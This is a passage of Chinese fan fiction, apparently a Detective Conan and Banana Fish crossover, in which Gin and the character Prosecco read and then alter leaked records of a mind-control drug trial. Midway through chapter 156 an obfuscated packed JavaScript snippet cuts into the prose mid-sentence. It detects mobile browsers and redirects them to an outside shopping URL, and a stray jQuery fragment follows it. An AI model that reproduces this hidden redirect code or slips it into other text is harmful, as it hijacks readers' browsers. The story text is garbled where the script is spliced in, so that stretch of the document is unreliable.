154
“琴酒大人。”珀洛塞可手中的笔转了一圈,黑瞳折射着面前屏幕的光亮,文件解析的进度条停留在98%的位置,他转过身,电脑椅跟着转了过去,视线落在站在他后面抽着烟的杀手上。
灰白的烟雾缭绕,房间内没有开灯,窗帘拉拢着,丝丝的光线从窗帘缝中透出,却显得整个室内更加阴沉。
“怎么,”杀手看了一眼那人身后卡着的进度条,眼眸微眯,“你后悔了?”
“我当然不敢这么说。”青年整个人靠在电脑椅上,余光撇了一眼卡着的进度条。
“我只是想和你确认一下,”说话的人在这里顿了顿,“我觉得我和你有相同的目的,你觉得呢?”
“目的?”男人笑了一声,叼在嘴中的烟被他用拿开。
珀洛塞可眼看着对方附下身,阴影拢了下来,男人的手夹着烟,穿越过他的耳侧,燃着火星的烟蒂被按灭在了他身后放在电脑桌上的烟灰缸里。
椅子上的人见状,身形又往里靠了些,没有对琴酒这个动作做出什么评价,只是盯着那双离他近了不少的绿眸,挑了挑眉。
“你觉得我有什么目的?”琴酒收回了按灭烟的手,撑在了电脑椅的扶手两侧,人被困在方寸之间,这个距离太近,能看见对方眼睛里自己的倒影。
“哦呀。”珀洛塞可莫名跟着笑了声,他歪了下头,视线和对面的人错开,双手随意地垂放在腿上,声线压低了些,“最起码现在,我们都想——”
那人往里靠着的身形突然前倾,两个人的距离更加拉近,琴酒听着那人在自己的耳边用着几乎是气音的声音接着道:“我们都想背着我们的boss,把这个财团相关的所有人弄死。”
男人闻言,绿瞳微缩,起身站回了一侧,珀洛塞可依旧坐在椅子上,不过是又比刚刚前倾了身子,双手撑在膝上,手指虚顶着下巴,正笑着看向他。
琴酒眯了下眸子,常持枪的手放进了大衣外套的口袋内:“你想说什么?”
“我想说,”青年恢复了坐姿,顺势把自己转回了屏幕面前,“我想说,不管一会看到什么,别想着一枪把我崩了灭口。”
他又侧头,指向性明确地看了一眼那人放在口袋里的手。
“毕竟我们依然在同一条船上。”
“合作邀请你可是接下了的。”
杀手没有回话,同样也没有把大衣口袋里的东西抽出,只是走上前了两步,站在那人身旁,侧身撑着电脑桌,盯着电脑屏幕上未走尽的进度条:“然后呢?”
“然后?”珀洛塞可的指尖在Enter键上悬停了一瞬,“不知道啊,先看看是什么呗。”
琴酒的声线同样压得很低,不置可否道:“按。”
“看完再说。”
青年微微颔首,没再说什么,指尖落下,“嘀”一声的轻响,在寂静的房间中格外清晰。
解析进度条往前一跳,填满了最后一点的空白,到达了100%。
屏幕闪烁了一瞬,所有加密文档被成功解锁,珀洛塞可操控着键鼠,毫不犹豫地打开了一份又一份文件。
琴酒看了一眼这人的动作,冷嘲道:“不是很惜命吗。”
知道得太多可是会死的。
青年扫过一行又一行的字符,抽空扯开了一下嘴角:“现在这里只有你会杀了我,大人。”
“只要不说出去,谁又会知道这些文档是在我们两个手上呢。”
“嗤。”
话语在对方一声嗤笑中结束,二人的目光再次落回到屏幕上,电脑屏幕不自然的光线照亮了杀手一半的侧脸,也让珀洛塞可微微眯上了眼。
155
【PDF文档】
【临床药物实验报告:Banana Fish】
实验代号:BF001
主要研究机构:国立精神卫生中心
主要研究人员:亚伯拉罕·多森、马纳·汉姆
主要研发目的:通过外源性神经递质调控实现对个体行为意志的部分可控性。
药理机制概述:
BF001 通过调节大脑前额叶皮层与边缘系统之间的神经递质信号传导,理论上可使受试者在保持自我意识的前提下增强对外界语言命令的顺从反应。
设计初衷为在【无痛觉刺激】条件下实现【强制性服从】模式。
临床药物实验结果概述:
个体普遍出现认知混乱、短暂性失语与强烈神经性头痛。
随剂量升高,受试者表现出对任何外界命令的绝对服从,但执行命令并未带来痛苦缓解。受试者均出现自我攻击与暴力冲动行为,最终导致所有受试者自残致死。
特例:
编号BF-17受试者出现短暂认知混乱和严重神经性头痛,数小时后缓解,并对下令者的口头指令执行准确性达95%,无抵触,无攻击性情绪。
编号BF-17受试者出现真实稳定服从态。
【BF药品使用事故调查报告】
【BF药品相关交易去向】
【BF受试者名单】
BF-307: 原田净三死亡
…………
BF-303:井上顺阳死亡
…………
…………
BF-17: 黑泽阵 状态存疑
156
空气中弥漫着未散的烟味,沉默把时间扭曲得很长。
珀洛塞可的目光最后停留在这个让他觉得颇为眼熟的名字上。
琴酒依旧没有说话,甚至也没有看着屏幕,只是垂眸盯着坐在一旁扫视文件的人。
青年的眉头没有舒展开,手指下意识地在桌面上画着圈。
他很确定在他目前的记忆里他从来没有见过这个名字。
身侧的男人没有什么反应,没有声音落在自己的耳朵里,但那天夜里波特酒说出来的话却突然莫名地浮现在了珀洛塞可的脑海中。
————“那个报告你不觉得眼熟吗?”
————“没有想到是你活到了最后。”
还有那个只被吐露出了一个字,就直接被琴酒一枪止住的名字。
珀洛塞可瞄了一眼一侧的男人,没看清脸,只能看见些许垂落的银发。
“大人,”青年又把电脑椅转了一半,脚在地面上轻轻用力,把自己推离了那个人一些,轮滚在地面上摩擦发出细响。
杀手同样后退两步,背靠着墙,手依旧放在大衣口袋里:“有事说事。”
“我想说………”他若无其事地看向那双绿眸。
这个人一直很奇怪。
为什么看他的精神画布要花更多的精神力?
精神力值降低至30%
倚靠着墙的男人看着对面人的瞳孔如那天雨夜里一样,思绪被拽着掉进一片虚无的寂静中,光线是荒芜的风,变成利刃穿透人,流淌出一片黑色的血。
蔓延。
“哈。”
轻笑声把人一下带回了现实,杀手猛地皱起眉头,敏锐地察觉到了刚刚那人不符合常理的状况,冷声质问道:“你刚刚做了什么?”
“什么叫我做了什么?”珀洛塞可又挂出了那副笑容,他把自己又挪回了电脑桌边,手肘靠在桌子上,掌心撑着侧脸,歪歪地看着一边的人,“我什么都没做啊。”
他顿了顿,语气中带着做作的关切。
“大人,您觉睡少了,出现幻觉了吧。”
杀手仰头靠在墙面,他依旧是垂眸审视着面前笑得虚假的人,面色不算太好,唇线紧抿。
几秒后,男人直接把枪械从口袋中顺势拿出:“接着说,你刚刚想说什么?”
“我想说……”珀洛塞可又再一次在这里停了下来,他微挑着眉尾,转到电脑面前打开了文件编译器。
【临床药物实验报告:Banana Fish-特例】一栏被操控者尽数删除,BF-17的成功案例不复存在。
【BF受试者名单】BF-17 黑泽阵由状态存疑修改为死亡。
那柄刚刚在男人手中把玩的枪支瞬间转向抵住了珀洛塞可用于操控键盘的右臂,正正好就是不久前由杀手故意为之的擦伤伤口处。
青年把文件编译完成,手上的动作停了下来,侧着抬头看向琴酒,面上没什么明显的表情。
“你最好解释清楚,”伯\莱\塔碾住伤口的力道在不断加重,已经可以明显从衣服的破口处看见绷带上渗出的血迹,男人的声音完全沉了下来,“你把这个案例修改成这样的原因。”
珀洛塞可眨眨眼,仿佛感觉不到手臂处传来的疼痛,笑道:“怎么,你认识这个人啊?”
“你是右利手,”男人没有回答对方绕弯子的话,他垂眸看着绷带上洇开得越发大的痕迹,手上的枪械更加精准地施加着压力,“所以现在好好说话。”
青年脸上的笑意淡了些,声音不淡不咸地响起:“因为我想把这份东西拿给真的FBI。”
杀手闻言,把沾着血迹的枪口一路转移向上,直抵着珀洛塞可的颈侧,金属自带的冰凉让人不由得歪了下头,那双黑瞳却依旧直直地看着对方。
“所以?”
“所以不能有任何成功的案例,”珀洛塞可直接伸出右手握住了指着自己的那柄枪,顺势推开后站起身,电脑椅在反向的作用下向后滑去,“让他们认为那个药是失败的,这样对我们两个都好。”
“毕竟,”青年瞥了一眼一旁电脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707026|184862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的文件,直勾勾地盯着那双绿眸,低低一笑,“一个人能做到的事情真的不算多。”
“让他们部分心存正义的FBI去处理这个财团,我们负责收收尾就行了。”
“你说对吧,大人?”
黑、泽、阵、大、人。
他笑眯着眼,并没有把刚刚看到的真名说出口,只是一个劲地试探着对面人的反应。
对面没有立刻回应。
琴酒缓慢而用力地抽回那把还被握在对方手上的枪支,他抽出手帕,枪口处沾染的血迹被人耐心地擦拭去。
半晌后,男人随意地抬了抬眸,低沉道:“你还真敢说。”
“我为什么不敢说?”珀洛塞可的指尖点了点桌面,“反正这些事情都是我珀洛塞可做出来的,和你琴酒没有一点关系。”
“刚刚,”银发杀手缓缓开口,沾了血的手帕被他丢在一旁,“你还说我们两个在一条船上。”
“现在依旧在一条船上,”青年捂了一下右臂上的伤口,双指碾了一下指尖上沾着的血迹,“要是出事了,你负责把我抓回去不就行了?”
“我保证,”他看了眼对面人手上的枪支,“乖乖和你走。”
“我又凭什么信你。”男人嗤笑一声,绿瞳中的神色带了些阴晴不定。
“凭我要报仇,”珀洛塞可的面色彻底冷了下来,“凭我在药物受试者名单上看见了熟人的名字。”
“凭我们组织是最接近我目的的地方。”
“凭今天本来围攻这个财团的机构就应该是FBI,这份被修改过的资料出现在FBI合情合理。”
“凭我觉得人体实验这种东西,恶心透了。”
青年彻底带上了一点真情实感的狠意,他不太自然地扭了下头,想到了刚刚看到的东西。
这个人为什么会导致他用更多的精神力去探查?
那画布上密密麻麻的伤痕,全是精神类药物导致的,这人学会了怎么在一堆药品里面保护自我不被侵蚀,才导致了他用平常的手段根本看不清代表着『自我』所在的精神画布。
哪怕他觉得黑泽阵这个人确实不太和他合得来,也不影响他觉得有些人的手段确实够让人反胃。
琴酒瞥了一眼彻底冷下脸的人,对方那种被精心雕琢但是依旧粗制滥造的笑容荡然无存,他并未因这份外露的敌意而动容,反而像是终于看到了期待已久的、真实的反应。
男人缓缓地把手上的枪支收回了大衣内侧,室内平静得只剩下了电脑排气扇转动的声音,珀洛塞可拽回身后的电脑椅,卸力坐了下去。
电脑因为长久没人操作,已经快要息屏,眼看着要彻底落入昏暗,又被电脑桌旁边的人推了一下鼠标,光线重新亮起。
琴酒若有若无地扫向对面人渗着血的伤口,那人没再看向他,而是在思量着什么一样盯着电脑屏幕。
“你还真有正义感,”男人在良久后嘲讽着开口。
坐在椅子上的人依旧没有转向过来,只是冷哼一声,接着道:“多谢夸奖。”
琴酒收回了目光,仿佛对这场长时间的拉锯试探失去了耐心,语气中的嘲讽也尽数收敛:“这件事。”
“就按你说的办。”
珀洛塞可那双一直不变的黑瞳才终于淡淡地看了过来。
还没等对面人说些什么,杀手又接着下令道:“给你一天时间,处理好所有的后续后回国,banana fish交易这件事,和你没关系了。”
“你在防止我拿到banana fish的药物本体?”青年又重新把玩上了那只刚刚被他丢到一边的笔,看着琴酒走到一侧的沙发上坐了下来。
“你很想要那个东西吗?”杀手反问道。
珀洛塞可转着的笔一不小心失手了一瞬,笔卡在了手指中央,他调整好动作,拿着笔尾轻轻敲了敲自己的额角,毫不掩饰地思量了半晌。
“也对,”他像是终于说服了自己一般,长长叹了口气,那支笔被“啪”一声按在了桌上,“没什么兴趣。”
他随意整理了一下自己的外套,语气变得轻飘飘的。
“那种东西,谁爱碰谁碰去吧。”
那种、根本没有成功的精神调控类药物,谁爱碰谁碰去吧。
青年把视线从琴酒身上挪开,看向了被自己修改过的文档上面。
这份文档本来就应该是这个样子的,黑泽阵这种“成功”案例不应该存在。
因为黑泽阵的精神画布上出现过精神钉的痕迹,那枚钉子已经将将要把画布敲碎了———就像井上顺阳一样。
但是被人修补好了。
那是他的手笔。
他又抬手揉了揉自己的眉心。
救了个不得了的东西啊。